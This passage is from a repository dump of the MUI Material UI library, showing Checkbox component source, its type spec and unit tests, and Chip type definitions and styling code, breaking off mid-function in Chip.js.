it doesn't add specificity\n          '&:hover': {\n            '@media (hover: none)': {\n              backgroundColor: 'transparent',\n            },\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst defaultCheckedIcon = <CheckBoxIcon />;\nconst defaultIcon = <CheckBoxOutlineBlankIcon />;\nconst defaultIndeterminateIcon = <IndeterminateCheckBoxIcon />;\n\nconst Checkbox = React.forwardRef(function Checkbox(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCheckbox' });\n  const {\n    checkedIcon = defaultCheckedIcon,\n    color = 'primary',\n    icon: iconProp = defaultIcon,\n    indeterminate = false,\n    indeterminateIcon: indeterminateIconProp = defaultIndeterminateIcon,\n    size = 'medium',\n    disableRipple = false,\n    className,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const icon = indeterminate ? indeterminateIconProp : iconProp;\n  const indeterminateIcon = indeterminate ? indeterminateIconProp : checkedIcon;\n\n  const ownerState = {\n    ...props,\n    disableRipple,\n    color,\n    indeterminate,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalInputProps = slotProps.input;\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    elementType: CheckboxRoot,\n    className: clsx(classes.root, className),\n    shouldForwardComponentProp: true,\n    externalForwardedProps: {\n      slots,\n      slotProps,\n      ...other,\n    },\n    ownerState,\n    additionalProps: {\n      type: 'checkbox',\n      icon: React.cloneElement(icon, {\n        fontSize: icon.props.fontSize ?? size,\n      }),\n      checkedIcon: React.cloneElement(indeterminateIcon, {\n        fontSize: indeterminateIcon.props.fontSize ?? size,\n      }),\n      disableRipple,\n      slots,\n      slotProps: {\n        input: mergeSlotProps(\n          typeof externalInputProps === 'function'\n            ? externalInputProps(ownerState)\n            : externalInputProps,\n          {\n            'data-indeterminate': indeterminate,\n          },\n        ),\n      },\n    },\n  });\n\n  return <RootSlot {...rootSlotProps} classes={classes} />;\n});\n\nCheckbox.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the component is checked.\n   */\n  checked: PropTypes.bool,\n  /**\n   * The icon to display when the component is checked.\n   * @default <CheckBoxIcon />\n   */\n  checkedIcon: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['default', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default checked state. Use when the component is not controlled.\n   */\n  defaultChecked: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * The icon to display when the component is unchecked.\n   * @default <CheckBoxOutlineBlankIcon />\n   */\n  icon: PropTypes.node,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * If `true`, the component appears indeterminate.\n   * This does not set the native input element to indeterminate due\n   * to inconsistent behavior across browsers.\n   * However, we set a `data-indeterminate` attribute on the `input`.\n   * @default false\n   */\n  indeterminate: PropTypes.bool,\n  /**\n   * The icon to display when the component is indeterminate.\n   * @default <IndeterminateCheckBoxIcon />\n   */\n  indeterminateIcon: PropTypes.node,\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange: PropTypes.func,\n  /**\n   * If `true`, the `input` element is required.\n   * @default false\n   */\n  required: PropTypes.bool,\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense checkbox styling.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the component. The DOM API casts this to a string.\n   * The browser uses \"on\" as the default value.\n   */\n  value: PropTypes.any,\n};\n\nexport default Checkbox;\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/Checkbox.spec.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport { expectType } from '@mui/types';\n\n<Checkbox\n  slots={{\n    root: 'div',\n    input: 'input',\n  }}\n  slotProps={{\n    root: {\n      className: 'root',\n      disableRipple: true,\n      hidden: true,\n    },\n    input: {\n      ref: (elm) => {\n        expectType<HTMLInputElement | null, typeof elm>(elm);\n      },\n      'aria-label': 'Checkbox',\n      className: 'input',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/Checkbox.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport Checkbox, { checkboxClasses as classes } from '@mui/material/Checkbox';\nimport FormControl from '@mui/material/FormControl';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<Checkbox />', () => {\n  const { render } = createRenderer();\n\n  function CustomRoot({ checkedIcon, ownerState, disableRipple, slots, slotProps, ...props }) {\n    return <div {...props} />;\n  }\n\n  describeConformance(<Checkbox checked />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiCheckbox',\n    testVariantProps: { variant: 'foo' },\n    testStateOverrides: { prop: 'color', value: 'secondary', styleKey: 'colorSecondary' },\n    refInstanceof: window.HTMLSpanElement,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithElement: CustomRoot,\n      },\n      input: {\n        expectedClassName: classes.input,\n      },\n    },\n    skip: ['componentProp', 'rootClass'],\n  }));\n\n  it('should have the classes required for Checkbox', () => {\n    expect(typeof classes.root).to.equal('string');\n    expect(typeof classes.checked).to.equal('string');\n    expect(typeof classes.disabled).to.equal('string');\n  });\n\n  it('renders an unchecked `checkbox` by default', () => {\n    render(<Checkbox />);\n\n    expect(screen.getByRole('checkbox')).to.have.property('checked', false);\n  });\n\n  it('renders an checked `checkbox` when `checked={true}`', () => {\n    render(<Checkbox checked />);\n\n    expect(screen.getByRole('checkbox')).to.have.property('checked', true);\n  });\n\n  it('flips the checked property when clicked and calls onchange with the checked state', () => {\n    const handleChange = spy();\n    render(<Checkbox onChange={handleChange} />);\n\n    act(() => {\n      screen.getByRole('checkbox').click();\n    });\n\n    expect(screen.getByRole('checkbox')).to.have.property('checked', true);\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.getCall(0).args[0].target).to.have.property('checked', true);\n\n    act(() => {\n      screen.getByRole('checkbox').click();\n    });\n\n    expect(screen.getByRole('checkbox')).to.have.property('checked', false);\n    expect(handleChange.callCount).to.equal(2);\n    expect(handleChange.getCall(1).args[0].target).to.have.property('checked', false);\n  });\n\n  describe('prop: readOnly', () => {\n    it('prevents interaction', async () => {\n      const changeSpy = spy();\n      const { user } = render(<Checkbox readOnly defaultChecked onChange={changeSpy} />);\n\n      const checkbox = screen.getByRole('checkbox');\n      expect(checkbox).to.have.attribute('readonly');\n      expect(checkbox).to.have.attribute('checked');\n      await user.click(checkbox);\n      expect(checkbox).to.have.attribute('checked');\n      expect(changeSpy.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: indeterminate', () => {\n    it('should render an indeterminate icon', () => {\n      render(<Checkbox indeterminate />);\n      expect(screen.getByTestId('IndeterminateCheckBoxIcon')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: size', () => {\n    it('add sizeSmall class to the root element when the size prop equals \"small\"', () => {\n      render(<Checkbox size=\"small\" />);\n      const checkbox = screen.getByRole('checkbox');\n      const root = checkbox.parentElement;\n\n      expect(root).to.have.class(classes.sizeSmall);\n    });\n\n    it('add sizeMedium class to the root element when the size prop equals \"medium\"', () => {\n      render(<Checkbox size=\"medium\" />);\n      const checkbox = screen.getByRole('checkbox');\n      const root = checkbox.parentElement;\n\n      expect(root).to.have.class(classes.sizeMedium);\n    });\n\n    it('add sizeMedium class to the root element when the size is not expplicitly provided', () => {\n      render(<Checkbox />);\n      const checkbox = screen.getByRole('checkbox');\n      const root = checkbox.parentElement;\n\n      expect(root).to.have.class(classes.sizeMedium);\n    });\n  });\n\n  describe('theme: customization', () => {\n    it.skipIf(isJsdom())(\n      'should be customizable in the theme using the size prop.',\n      function test() {\n        const theme = createTheme({\n          components: {\n            MuiCheckbox: {\n              styleOverrides: {\n                sizeMedium: {\n                  marginTop: 40,\n                  paddingLeft: 20,\n                },\n                sizeSmall: {\n                  marginLeft: -40,\n                  paddingRight: 2,\n                },\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <Checkbox />\n            <Checkbox size=\"small\" />\n          </ThemeProvider>,\n        );\n\n        expect(container.querySelector(`.${classes.sizeMedium}`)).toHaveComputedStyle({\n          marginTop: '40px',\n          paddingLeft: '20px',\n        });\n\n        expect(container.querySelector(`.${classes.sizeSmall}`)).toHaveComputedStyle({\n          marginLeft: '-40px',\n          paddingRight: '2px',\n        });\n      },\n    );\n  });\n\n  describe('with FormControl', () => {\n    describe('enabled', () => {\n      it('should not have the disabled class', () => {\n        render(\n          <FormControl>\n            <Checkbox />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('checkbox')).not.to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl>\n            <Checkbox disabled />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('checkbox')).to.have.attribute('disabled');\n      });\n    });\n\n    describe('disabled', () => {\n      it('should have the disabled class', () => {\n        render(\n          <FormControl disabled>\n            <Checkbox />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('checkbox')).to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl disabled>\n            <Checkbox disabled={false} />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('checkbox')).not.to.have.attribute('disabled');\n      });\n    });\n  });\n\n  it('should allow custom icon font sizes', () => {\n    const fontSizeSpy = spy();\n    function MyIcon(props) {\n      const { fontSize, ...other } = props;\n\n      React.useEffect(() => {\n        fontSizeSpy(fontSize);\n      });\n\n      return <div {...other} />;\n    }\n    render(<Checkbox icon={<MyIcon fontSize=\"foo\" />} />);\n\n    expect(fontSizeSpy.args[0][0]).to.equal('foo');\n  });\n\n  it('should have a ripple', async () => {\n    render(<Checkbox TouchRippleProps={{ className: 'touch-ripple' }} />);\n    const checkbox = screen.getByRole('checkbox').parentElement;\n    await ripple.startTouch(checkbox);\n    expect(checkbox.querySelector('.touch-ripple')).not.to.equal(null);\n  });\n\n  it('should not have ripple', async () => {\n    render(<Checkbox disableRipple TouchRippleProps={{ className: 'touch-ripple' }} />);\n\n    const checkbox = screen.getByRole('checkbox').parentElement;\n    await ripple.startTouch(checkbox);\n    expect(checkbox.querySelector('.touch-ripple')).to.equal(null);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/checkboxClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CheckboxClasses {\n  /** Class name applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `checked={true}`. */\n  checked: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if `indeterminate={true}`. */\n  indeterminate: string;\n  /** State class applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** State class applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** State class applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** State class applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n}\n\nexport type CheckboxClassKey = keyof CheckboxClasses;\n\nexport function getCheckboxUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCheckbox', slot);\n}\n\nconst checkboxClasses: CheckboxClasses = generateUtilityClasses('MuiCheckbox', [\n  'root',\n  'checked',\n  'disabled',\n  'indeterminate',\n  'colorPrimary',\n  'colorSecondary',\n  'sizeSmall',\n  'sizeMedium',\n]);\n\nexport default checkboxClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/index.d.ts",
    "content": "export { default } from './Checkbox';\nexport * from './Checkbox';\n\nexport { default as checkboxClasses } from './checkboxClasses';\nexport * from './checkboxClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Checkbox/index.js",
    "content": "export { default } from './Checkbox';\n\nexport { default as checkboxClasses } from './checkboxClasses';\nexport * from './checkboxClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Chip/Chip.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ChipClasses } from './chipClasses';\n\nexport interface ChipSlots {\n  /**\n   * The component that renders the root.\n   * @default div\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the label.\n   * @default span\n   */\n  label: React.ElementType;\n}\n\nexport type ChipSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  ChipSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<'div', {}, ChipOwnerState>;\n    /**\n     * Props forwarded to the label slot.\n     * By default, the available props are based on the span element.\n     */\n    label: SlotProps<'span', {}, ChipOwnerState>;\n  }\n>;\n\nexport interface ChipOwnerState extends Omit<ChipProps, 'slots' | 'slotProps'> {}\n\nexport interface ChipPropsVariantOverrides {}\n\nexport interface ChipPropsSizeOverrides {}\n\nexport interface ChipPropsColorOverrides {}\n\nexport interface ChipOwnProps {\n  /**\n   * The Avatar element to display.\n   */\n  avatar?: React.ReactElement<unknown> | undefined;\n  /**\n   * This prop isn't supported.\n   * Use the `component` prop if you need to change the children structure.\n   */\n  children?: null | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ChipClasses> | undefined;\n  /**\n   * If `true`, the chip will appear clickable, and will raise when pressed,\n   * even if the onClick prop is not defined.\n   * If `false`, the chip will not appear clickable, even if onClick prop is defined.\n   * This can be used, for example,\n   * along with the component prop to indicate an anchor Chip is clickable.\n   * Note: this controls the UI and does not affect the onClick event.\n   */\n  clickable?: boolean | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color?:\n    | OverridableStringUnion<\n        'default' | 'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        ChipPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * Override the default delete icon element. Shown only if `onDelete` is set.\n   */\n  deleteIcon?: React.ReactElement<unknown> | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * Icon element.\n   */\n  icon?: React.ReactElement<unknown> | undefined;\n  /**\n   * The content of the component.\n   */\n  label?: React.ReactNode;\n  /**\n   * Callback fired when the delete icon is clicked.\n   * If set, the delete icon will be shown.\n   */\n  onDelete?: React.EventHandler<any> | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', ChipPropsSizeOverrides> | undefined;\n  /**\n   * If `true`, the component is expected to resolve to a native `<button>` element.\n   * When omitted, custom components inherit the default button semantics of the current wrapper.\n   * Set to `true` when a custom component resolves to a native `<button>`, or `false`\n   * when it resolves to a non-button host.\n   */\n  nativeButton?: boolean | undefined;\n  /**\n   * If `true`, allows the disabled chip to escape focus.\n   * If `false`, allows the disabled chip to receive focus.\n   * @default false\n   */\n  skipFocusWhenDisabled?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   *  @ignore\n   */\n  tabIndex?: number | undefined;\n  /**\n   * The variant to use.\n   * @default 'filled'\n   */\n  variant?: OverridableStringUnion<'filled' | 'outlined', ChipPropsVariantOverrides> | undefined;\n}\n\nexport interface ChipTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & ChipOwnProps & ChipSlotsAndSlotProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n * Chips represent complex entities in small blocks, such as a contact.\n *\n * Demos:\n *\n * - [Chip](https://next.mui.com/material-ui/react-chip/)\n *\n * API:\n *\n * - [Chip API](https://next.mui.com/material-ui/api/chip/)\n */\ndeclare const Chip: OverridableComponent<ChipTypeMap>;\n\nexport type ChipProps<\n  RootComponent extends React.ElementType = ChipTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ChipTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Chip;\n"
  },
  {
    "path": "packages/mui-material/src/Chip/Chip.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport CancelIcon from '../internal/svg-icons/Cancel';\nimport useForkRef from '../utils/useForkRef';\nimport unsupportedProp from '../utils/unsupportedProp';\nimport capitalize from '../utils/capitalize';\nimport ButtonBase from '../ButtonBase';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport chipClasses, { getChipUtilityClass } from './chipClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disabled, size, color, onDelete, clickable, variant } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      disabled && 'disabled',\n      `size${capitalize(size)}`,\n      `color${capitalize(color)}`,\n      clickable && 'clickable',\n      onDelete && 'deletable',\n    ],\n    label: ['label'],\n    avatar: ['avatar'],\n    icon: ['icon'],\n    deleteIcon: ['deleteIcon'],\n  };\n\n  return composeClasses(slots, getChipUtilityClass, classes);\n};\n\nconst ChipRoot = styled('div', {\n  name: 'MuiChip',\n  slot: 'Root',\n  shouldForwardProp: (prop) =>\n    rootShouldForwardProp(prop) &&\n    prop !== 'focusableWhenDisabled' &&\n    prop !== 'skipFocusWhenDisabled',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    const { color, clickable, onDelete, size, variant } = ownerState;\n\n    return [\n      { [`& .${chipClasses.avatar}`]: styles.avatar },\n      { [`& .${chipClasses.icon}`]: styles.icon },\n      { [`& .${chipClasses.deleteIcon}`]: styles.deleteIcon },\n      styles.root,\n      styles[`size${capitalize(size)}`],\n      styles[`color${capitalize(color)}`],\n      clickable && styles.clickable,\n      onDelete && styles.deletable,\n      styles[variant],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const textColor =\n      theme.palette.mode === 'light' ? theme.palette.grey[700] : theme.palette.grey[300];\n    return {\n      maxWidth: '100%',\n      fontFamily: theme.typography.fontFamily,\n      fontSize: theme.typography.pxToRem(13),\n      display: 'inline-flex',\n      alignItems: 'center',\n      justifyContent: 'center',\n      height: 32,\n      lineHeight: 1.5,\n      color: (theme.vars || theme).palette.text.primary,\n      backgroundColor: (theme.vars || theme).palette.action.selected,\n      borderRadius: 32 / 2,\n      whiteSpace: 'nowrap',\n      transition: theme.transitions.create(['background-color', 'box-shadow']),\n      // reset cursor explicitly in case ButtonBase is used\n      cursor: 'unset',\n      // We disable the focus ring for mouse, touch and keyboard users.\n      outline: 0,\n      textDecoration: 'none',\n      border: 0, // Remove `button` border\n      padding: 0, // Remove `button` padding\n      verticalAlign: 'middle',\n      boxSizing: 'border-box',\n      [`&.${chipClasses.disabled}`]: {\n        opacity: (theme.vars || theme).palette.action.disabledOpacity,\n        pointerEvents: 'none',\n      },\n      [`& .${chipClasses.avatar}`]: {\n        marginLeft: 5,\n        marginRight: -6,\n        width: 24,\n        height: 24,\n        color: theme.vars ? theme.vars.palette.Chip.defaultAvatarColor : textColor,\n        fontSize: theme.typography.pxToRem(12),\n      },\n      [`& .${chipClasses.icon}`]: {\n        marginLeft: 5,\n        marginRight: -6,\n      },\n      [`& .${chipClasses.deleteIcon}`]: {\n        WebkitTapHighlightColor: 'transparent',\n        color: theme.alpha((theme.vars || theme).palette.text.primary, 0.26),\n        fontSize: 22,\n        cursor: 'pointer',\n        margin: '0 5px 0 -6px',\n        '&:hover': {\n          color: theme.alpha((theme.vars || theme).palette.text.primary, 0.4),\n        },\n      },\n      variants: [\n        {\n          props: {\n            color: 'primary',\n          },\n          style: {\n            [`& .${chipClasses.avatar}`]: {\n              color: (theme.vars || theme).palette.primary.contrastText,\n              backgroundColor: (theme.vars || theme).palette.primary.dark,\n            },\n          },\n        },\n        {\n          props: {\n            color: 'secondary',\n          },\n          style: {\n            [`& .${chipClasses.avatar}`]: {\n              color: (theme.vars || theme).palette.secondary.contrastText,\n              backgroundColor: (theme.vars || theme).palette.secondary.dark,\n            },\n          },\n        },\n        {\n          props: { size: 'small' },\n          style: {\n            height: 24,\n            [`& .${chipClasses.avatar}`]: {\n              marginLeft: 4,\n              marginRight: -4,\n              width: 18,\n              height: 18,\n              fontSize: theme.typography.pxToRem(10),\n            },\n            [`& .${chipClasses.icon}`]: {\n              fontSize: 18,\n              marginLeft: 4,\n              marginRight: -4,\n            },\n            [`& .${chipClasses.deleteIcon}`]: {\n              fontSize: 16,\n              marginRight: 4,\n              marginLeft: -4,\n            },\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter(['contrastText']))\n          .map(([color]) => {\n            return {\n              props: { color },\n              style: {\n                backgroundColor: (theme.vars || theme).palette[color].main,\n                color: (theme.vars || theme).palette[color].contrastText,\n                [`& .${chipClasses.deleteIcon}`]: {\n                  color: theme.alpha((theme.vars || theme).palette[color].contrastText, 0.7),\n                  '&:hover, &:active': {\n                    color: (theme.vars || theme).palette[color].contrastText,\n                  },\n                },\n              },\n            };\n          }),\n        {\n          props: (props) => props.iconColor === props.color,\n          style: {\n            [`& .${chipClasses.icon}`]: {\n              color: theme.vars ? theme.vars.palette.Chip.defaultIconColor : textColor,\n            },\n          },\n        },\n        {\n          props: (props) => props.iconColor === props.color && props.color !== 'default',\n          style: {\n            [`& .${chipClasses.icon}`]: {\n              color: 'inherit',\n            },\n          },\n        },\n        {\n          props: { onDelete: true },\n          style: {\n            [`&.${chipClasses.focusVisible}`]: {\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette.action.selected,\n                `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n              ),\n            },\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter(['dark']))\n          .map(([color]) => {\n            return {\n              props: { color, onDelete: true },\n              style: {\n                [`&.${chipClasses.focusVisible}`]: {\n                  background: (theme.vars || theme).palette[color].dark,\n                },\n              },\n            };\n          }),\n        {\n          props: { clickable: true },\n          style: {\n            userSelect: 'none',\n            WebkitTapHighlightColor: 'transparent',\n            cursor: 'pointer',\n            '&:hover': {\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette.action.selected,\n                `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n              ),\n            },\n            [`&.${chipClasses.focusVisible}`]: {\n              backgroundColor: theme.alpha(\n                (theme.vars || theme).palette.action.selected,\n                `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n              ),\n            },\n            '&:active': {\n              boxShadow: (theme.vars || theme).shadows[1],\n            },\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter(['dark']))\n          .map(([color]) => ({\n            props: { color, clickable: true },\n            style: {\n              [`&:hover, &.${chipClasses.focusVisible}`]: {\n                backgroundColor: (theme.vars || theme).palette[color].dark,\n              },\n            },\n          })),\n        {\n          props: { variant: 'outlined' },\n          style: {\n            backgroundColor: 'transparent',\n            border: theme.vars\n              ? `1px solid ${theme.vars.palette.Chip.defaultBorder}`\n              : `1px solid ${\n                  theme.palette.mode === 'light' ? theme.palette.grey[400] : theme.palette.grey[700]\n                }`,\n            [`&.${chipClasses.clickable}:hover`]: {\n              backgroundColor: (theme.vars || theme).palette.action.hover,\n            },\n            [`&.${chipClasses.focusVisible}`]: {\n              backgroundColor: (theme.vars || theme).palette.action.focus,\n            },\n            [`& .${chipClasses.avatar}`]: {\n              marginLeft: 4,\n            },\n            [`& .${chipClasses.icon}`]: {\n              marginLeft: 4,\n            },\n            [`& .${chipClasses.deleteIcon}`]: {\n              marginRight: 5,\n            },\n          },\n        },\n        {\n          props: { size: 'small', variant: 'outlined' },\n          style: {\n            [`& .${chipClasses.avatar}`]: {\n              marginLeft: 2,\n            },\n            [`& .${chipClasses.icon}`]: {\n              marginLeft: 2,\n            },\n            [`& .${chipClasses.deleteIcon}`]: {\n              marginRight: 3,\n            },\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter()) // no need to check for mainChannel as it's calculated from main\n          .map(([color]) => ({\n            props: { variant: 'outlined', color },\n            style: {\n              color: (theme.vars || theme).palette[color].main,\n              border: `1px solid ${theme.alpha((theme.vars || theme).palette[color].main, 0.7)}`,\n              [`&.${chipClasses.clickable}:hover`]: {\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette[color].main,\n                  (theme.vars || theme).palette.action.hoverOpacity,\n                ),\n              },\n              [`&.${chipClasses.focusVisible}`]: {\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette[color].main,\n                  (theme.vars || theme).palette.action.focusOpacity,\n                ),\n              },\n              [`& .${chipClasses.deleteIcon}`]: {\n                color: theme.alpha((theme.vars || theme).palette[color].main, 0.7),\n                '&:hover, &:active': {\n                  color: (theme.vars || theme).palette[color].main,\n                },\n              },\n            },\n          })),\n      ],\n    };\n  }),\n);\n\nconst ChipLabel = styled('span', {\n  name: 'MuiChip',\n  slot: 'Label',\n})({\n  overflow: 'hidden',\n  textOverflow: 'ellipsis',\n  paddingLeft: 12,\n  paddingRight: 12,\n  whiteSpace: 'nowrap',\n  variants: [\n    {\n      props: { variant: 'outlined' },\n      style: {\n        paddingLeft: 11,\n        paddingRight: 11,\n      },\n    },\n    {\n      props: { size: 'small' },\n      style: {\n        paddingLeft: 8,\n        paddingRight: 8,\n      },\n    },\n    {\n      props: { size: 'small', variant: 'outlined' },\n      style: {\n        paddingLeft: 7,\n        paddingRight: 7,\n      },\n    },\n  ],\n});\n\nfunction isDeleteKeyboardEvent(keyboardEvent) {\n  return keyboardEvent.key === 'Backspace' || keyboardEvent.key === 'Delete';\n}\n\n/**\n * Chips represent complex entities in small blocks, such as a contact.\n */\nconst Chip = React.forwardRef(function Chip(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiChip' });\n  const {\n    avatar: avatarProp,\n    className,\n    clickable: clickableProp,\n    color = 'default',\n    component: ComponentProp,\n    deleteIcon: deleteIconProp,\n    disabled = false,\n    icon: iconProp,\n    label,\n    onClick,\n    onDelete,\n    onKeyDown,\n    onKeyUp,\n    size = 'medium',\n    variant = 'filled',\n    tabIndex,\n    skipFocusWhenDisabled = false, // TODO v6: Rename to `focusableWhenDisabled`.\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n  const { nativeButton, ...buttonBaseProps } = other;\n\n  const chipRef = React.useRef(null);\n  const handleRef = useForkRef(chipRef, ref);\n\n  const handleDeleteIconClick = (event) => {\n    // Stop the event from bubbling up to the `Chip`\n    event.stopPropagation();\n    onDelete(event);\n  };\n\n  const handleKeyDown = (event) => {\n    // Ignore events from children of `Chip`.\n    if (event.currentTarget === event.target && isDeleteKeyboardEvent(event)) {\n      // Will be handled in keyUp, otherwise some browsers\n      // might init navigation\n      event.preventDefault();\n    }\n\n    if (onKeyDown) {\n      onKeyDown(event);\n    }\n  };\n\n  const handleKeyUp = (event) => {\n    // Ignore events from children of `Chip`.\n    if (event.currentTarget === event.target) {\n      if (onDelete && isDeleteKeyboardEvent(event)) {\n        onDelete(event);\n      }\n    }\n\n    if (onKeyUp) {\n      onKeyUp(event);\n    }\n  